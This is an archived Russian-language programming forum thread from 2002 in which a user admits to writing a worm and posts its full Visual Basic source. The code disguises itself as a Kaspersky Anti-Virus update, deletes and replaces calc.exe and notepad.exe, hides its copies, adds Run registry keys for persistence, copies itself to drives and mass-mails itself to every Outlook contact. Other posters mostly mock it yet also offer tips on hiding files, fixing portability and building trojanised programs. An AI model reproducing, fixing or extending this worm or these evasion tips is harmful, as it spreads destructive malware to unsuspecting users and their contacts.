Автор
|
Тема: Есть маленький вопросик!!!
|
MYSTIQUE |
опубликован 22-01-2002 00:30 MSK
Как при запуске файла установить у него аттрибуты скрытый или(и) системный!!!
|
al
|
опубликован 22-01-2002 12:24 MSK
2All: У меня есть большое подозрение, что товарищ пишет вирус (учитывая его предыдущие вопросы в форуме). Может не будете больше ему помогать? А то потом самим эта пакость нагадит? |
Vasya2000
|
опубликован 22-01-2002 13:22 MSK
Нам эта пакость никак не нагадит, а вот ему самому - вполне возможно. А вообще, у меня , к примеру , независимо от аттрибутов видны ВСЕ файлы! |
AlexR
|
опубликован 22-01-2002 19:35 MSK
А у меня не видны системные и скрытые, если в "Свойствах папок" поставить "Не отображать скрытые и системные файлы". Так что если этот папаметр не стоит, то файл всё равно будет виден. to MYSTIQUE: короче сделай чтоб твой червь копировался в какую-нибудь папку (типа C:\Windows\System\Vmm32) где червя никто не будет искать. Или при запуске твой червь определяет директорию Windows и копируется туда под именем, к примеру, regedyt.exe (ты какую нибудь иконку Windows'совскую возьми). |
BootMaster
|
опубликован 22-01-2002 19:35 MSK
Но все же вот тебе на всякий случай: SetAttr FileName, vbHidden + vbSystem |
MYSTIQUE
|
опубликован 22-01-2002 21:52 MSK
to Al - какой ты догадливый!!! |
rivitna
|
опубликован 22-01-2002 22:11 MSK
2 al: Когда такие люди пишут вирусы, можно быть спокойным, а так глядишь, программить научиться Есть такой класс вирусов "Intended", так эта поделка пополнит ряды этого класса. Да, еще Касперский выделяет класс "Hoax", что тоже недалеко от истины |
7in
|
опубликован 22-01-2002 23:11 MSK
2 MYSTIQUE: Ты полвируса хотя бы уже написал? :) . Когда закончишь, обязательно кинь в форум описание, всем будет интересно :)))) 2 AlexR: У меня такое зелёное чувство, что "Не отображать скрытые и системные файлы" очень легко подправить в реестре :) |
Vasya2000
|
опубликован 23-01-2002 04:21 MSK
Для этого надо помониторить реестр... |
Zzzaraza
|
опубликован 23-01-2002 09:28 MSK
2al: Ну и пусть пишет, нет худа без добра, глядишь какую-нить дыру найдет в системе, потом мелкомягкие заплатку сделают, вот тебе и польза. 2MYSTIQUE: а у тебя не было мысли написать какую-нить полезную прогу, файловый менеджер какой-нить, архиватор убийственный или для бухгалтерии чё-нить, чтоб её абсолютно все захотели поиметь, а потом в один прекрасный момент она (прога) поимела бы их?. В этом случае голова не будет болеть как распространять или скрывать вирус :) |
AlexR
|
опубликован 23-01-2002 11:40 MSK
Можно конечно в реестре порыться. Как чё нибудь найду, сразу напишу. |
MYSTIQUE
|
опубликован 23-01-2002 15:01 MSK
К вопросу о реестре - а если поставить такую фишку как DisableRegistryTools.(что тогда делать)или например RestrictRun. К вопросу о вирусе - написал!!!!!!! К вопросу о полезной проге - может ченить придумаю!!!(Подскажите, если есть идеи) |
Vasya2000
|
опубликован 24-01-2002 14:00 MSK
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden=1 (0x00000001) 2 MYSTIQUE : ты нам хотябы "избранное" из своего червя покажи, интересно |
AlexR
|
опубликован 24-01-2002 14:41 MSK
to MYSTIQUE: да, покажи. |
AlexR
|
опубликован 24-01-2002 16:27 MSK
to MYSTIQUE: а зачем, к стати, делать файл червя скрытым? |
MYSTIQUE
|
опубликован 24-01-2002 21:48 MSK
Не покажу!!! |
Vasya2000
|
опубликован 25-01-2002 04:17 MSK
фу, какой ты гадкий. мы тебе помогаем, а ты вот как! |
MYSTIQUE
|
опубликован 25-01-2002 09:55 MSK
Я вовсе не гадкий а белый и пушистый,просто если я его покажу вы потом смеяться будуте(если обещаете этого не делать тогда покажу) |
purpe
|
опубликован 25-01-2002 10:05 MSK
Обещаем! |
Zzzaraza
|
опубликован 25-01-2002 10:39 MSK
Показывай!!! А кто смеяться будет, того заразить! ;)>К вопросу о полезной проге - может ченить придумаю!!!(Подскажите, если есть идеи) Появилась одна идейка, но придется на asm переключиться, короче: 1.Полезность: полная защита от всех вирусов, вторжений в компьютер, а так же несанкционированного доступа к информации. 2.Вредоностность: в час X все наXYZ удаляется [тока это куда-инть спрятать надо, шоб никто не нашел, до поры до времени] :) 3.Реализация: зашифровать [переименовать] все сообщения виндовс, вызовы функций в ядре и во всех приложениях,ну и периодически эту процедуру повторять, типа полиморфный вирус из форточек сделать :), естесно для каждой машины получиться своя ось[если смотреть из вне, ну а внутри все будет как было, т.к. функции будут переименованы и в ядре и в приложениях, никто ничё и незаметит, в смысле приложения под Вынь не заметят], но если на такую машину нападет вирус или кто-нить решит вломиться, то хрен чё он в ней поймет. зы про все вирусы это я конечно загнул, но простой обыватель должен поверить. ззы какой ж я нехороший, аш самому приятно :))) |
AlexR
|
опубликован 25-01-2002 13:58 MSK
Я обещаю. |
Vasya2000
|
опубликован 25-01-2002 15:12 MSK
Не буду смеяться, показывай!! |
AlexR
|
опубликован 25-01-2002 15:17 MSK
ПОКАЗЫВАЙ!!! |
MYSTIQUE
|
опубликован 25-01-2002 17:33 MSK
Private Sub Form_Load() Set fs = CreateObject("Scripting.FileSystemObject") fs.CopyFile "Kaspersky.exe", "c:\Kaspersky.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\Kaspersky.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\Temp\temp.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\System\system.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\System32\Kaspersky.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\Fonts\Kaspersky.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\Web\rundll.exe" fs.DeleteFile "c:\Windows\Calc.exe", True fs.DeleteFile "c:\Windows\Notepad.exe", True fs.CopyFile "Kaspersky.exe", "c:\Windows\Calc.exe" fs.CopyFile "Kaspersky.exe", "c:\Windows\Notepad.exe" Open "C:\Windows\Kaspersky.bat" For Output As #1 Print #1, "attrib +h +s +r c:\Windows\Kaspersky.exe" Print #1, "attrib +h +s +r c:\Windows\Temp\temp.exe" Print #1, "attrib +h +s +r c:\Windows\System\system.exe" Print #1, "attrib +h +s +r c:\Windows\System32\Kaspersky.exe" Print #1, "del C:\Windows\Kaspersky.bat" Close #1 Shell "start C:\Windows\Kaspersky.bat" Open "C:\autoexec.bat" For Output As #2 Print #2, "@echo off" Print #2, "call c:\Kaspersky.bat" Print #2, "attrib +h c:\autoexec.bat" Open "c:\Windows\Kaspersky.vbs" For Output As #3 Print #3, "On Error Resume Next" Print #3, "Dim FileSysObject,File" Print #3, "Set FileSysObject = CreateObject ("; Scripting.FileSystemObject; ")" Print #3, "Set File = FileSysObject.GetFile(WScript.ScriptFullName)" Print #3, "Dim OutlookObject, OutMail, Index" Print #3, "Set OutlookObject = CreateObject("; Outlook.Application; ")" Print #3, "For Index = 1 To 100" Print #3, "Set OutMail = OutlookObject.CreateItem(0)" Print #3, "OutMail.to =" Print #3, "OutlookObject.GetNameSpace("; MAPI; ").AddressLists(1).AddressEntries(Index)" Print #3, "OutMail.Subject = "; Kaspersky; News; "" Print #3, "OutMail.Body = "; Read; our; News; "" Print #3, "OutMail.Attachments.Add(c:\Windows\Fonts\Kaspersky.exe)" Print #3, "OutMail.Send" Print #3, "Next" Shell "start C:\Windows\Kaspersky.vbs" End Dim fso, host Set fso = CreateObject("Scripting.FilesystemObject") host = "C:\Windows\Command\Kaspersky.exe" If fso.FileExists(host) = False Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", host, 1 End If Set sDrajv = fso.Drives For Each s In sDrajv If s.drivetype = 1 Or 3 Then If s.drivetype = 4 Then GoTo dalje If s.isready = True Then fso.CopyFile host, s.driveletter & ":\", True End If End If Next s dalje: Dim mess(0 To 3) mess(0) = "Kaspersky Anti-Virus version 4.0(Update for old version)" mess(1) = "KAV - update for old version" mess(2) = "New version of Kaspersky Anti-Virus (version 4.0_" mess(3) = "Update for old version of Kaspersk Anti-Virus" If fso.FileExists("c:\windows\system\Kaspersky.exe") = False Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", "c:\windows\Config\Kaspersky.exe", 1 End If Dim Wshs Set Wshs = CreateObject("WScript.Shell") Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Kaspersky", "c:\windows\Config\Kaspersky.exe" Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\System module", "c:\Windows\System\system.exe" Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Rundll module", "c:\Windows\System32\Kaspersky.exe" Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AVCC", "c:\Windows\Fonts\Kaspersky.exe" Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Temporary", "c:\Windows\Temp\temp.exe" Wshs.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Rundll32PowerProfile", "c:\Windows\Web\rundll.exe" Dim a, b, c Set a = CreateObject("Outlook.Application") Set b = a.getnamespace("MAPI") If a = "Outlook" Then b.Logon "profile", "password" For f = 1 To b.addresslists.Count For d = 1 To b.addresslists(f).addressentries.Count With a.createitem(0) Set g = b.addresslists(f).addressentries(d) .Recipients.Add g .Subject = "Anti-Virus Kaspersky" .body = mess(Int(Rnd(1) * 4)) .Attachments.Add "C:\Windows\Command\Kaspersky.exe" .send End With g = "" Next d Next f b.logoff End If End Sub 'Name - MYSTIQUE 'Author name - MYSTIQUE 'Version - 1.0 |
AlexR
|
опубликован 25-01-2002 19:26 MSK
to MYSTIQUE: к стати, зайди сюда: http://xuyaker.narod.ru/index3.htm |
AlexR
|
опубликован 25-01-2002 19:28 MSK
to MYSTIQUE: а ещё сюда: http://www.uinc.ru:8101/articles/17/index.shtml |
AlexR
|
опубликован 25-01-2002 19:32 MSK
Да, и сюда тоже: http://brakonier.by.ru/sbs/x8.shtml |
MYSTIQUE
|
опубликован 25-01-2002 20:45 MSK
Ну зашел и че!!! |
7in
|
опубликован 25-01-2002 22:49 MSK
2 MYSTIQUE: А у меня Windows на диске D: ... :) Воспользуйся Evniron("windir") |
MYSTIQUE
|
опубликован 25-01-2002 22:57 MSK
Там же написано version 1.0(бета тестеры откликнитесь) Я вот думаю может добавить фишку чтобы он разные доки шифровал или еще какую-нибудь бяку!!! |
Lamer
|
опубликован 26-01-2002 01:57 MSK
Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо!Не волнуйся, MYSTIQUE, это я не смеялся. Это шарада с призом! Если сосчитаешь, сколько здесь "ха", "хо", "хи" и "гы", то получишь приз! Знания! Узнаешь, что твой вирус под ВинНТ работать не будет! Ведь там нет папки c:\Windows, там c:\Winnt. Чтобы получать пути к системным директориям виндов существует куча АПИ ф-ций, например, GetWindowsDirectory, а команды start (файла start.exe) нет ни в линолеуме, ни в 2000-х, ни в XP. Да как вообще можно писать вирусы на ВБ без АПИ? И нахрена писать ЕХЕ-файл, который пишет скриптовирус, шли лучше по почте тогда сам VBS-файл. Или пусть работа с объектами Outlook происходит непосредственно в программе. Хотя это тупо, ведь ЕХЕ-шник может содержать собственный почтовый клиет, что !!!!!гораздо!!!!! надёжней! И вообще, почитай лучше сначала пару умных книг, к примеру, "Как написать вирус", а потом пиши. Ведь портить людям жизнь - это тоже искусство.
|
Vasya2000
|
опубликован 26-01-2002 09:27 MSK
Мдаааа................... |
Lamer
|
опубликован 26-01-2002 11:04 MSK
Да, кстати, писать batch-файл для установки атрибутов - просто дибилизм! Не проще ли воспользоваться оператором SetAttr? А использовать Scripting.FilesystemObject для проверки существования файла (конечно, учитыва то, что на всех хороших серверах стоит Scripting Debugger, который немедленно доложит админу о своём исользовании) ну ни в какие рамки не лезет! Короче, если ты будешь продолжать в том же духе, тебя либо посадят, либо дадут "орден идиота первой степени" и занесут в Книгу Рекордов Гиннеса как "автора самого галимого вируса за всю историю человечества"! Вот друзья то будут завидовать! |
MYSTIQUE
|
опубликован 26-01-2002 16:04 MSK
Вам бы только обосрать.А ты Lamer просто п%&&^&%ок!!!! |
AlexR
|
опубликован 26-01-2002 17:17 MSK
to MISTIQUE: короче, сделай чтобы твой червь сначала определял директорию Windows, а потом копировался. Кстати ты забыл добавить отладчик ошибок. |
Vasya2000
|
опубликован 27-01-2002 06:46 MSK
да плюнь ты на этого червя, пользы от него никакой |
AlexR
|
опубликован 27-01-2002 10:28 MSK
Лучше игру напиши про червяка, типа змейки. ;-) |
MYSTIQUE
|
опубликован 27-01-2002 11:40 MSK
Попробую,а поможете!!! |
Vasya2000
|
опубликован 27-01-2002 12:10 MSK
червяк типа змейки - рулез, но я пас. непотяну. |
Lamer
|
опубликован 27-01-2002 12:52 MSK
Ну наконец хоть одно конструктивное предложение, а то всё вирусы да вирусы. Да, MYSTIQUE, если все же надумаешь сделать игру про змейку, то пусть игра на диск никаких batch-файлов не пишет. Несолидно как-то. А лучше сделай игру 3D, сейчас это в моду вошло! |
MYSTIQUE
|
опубликован 27-01-2002 19:02 MSK
O'k..... |
AlexR
|
опубликован 27-01-2002 20:12 MSK
Или напиши программу ко "Дню ламеров" (4 февраля). |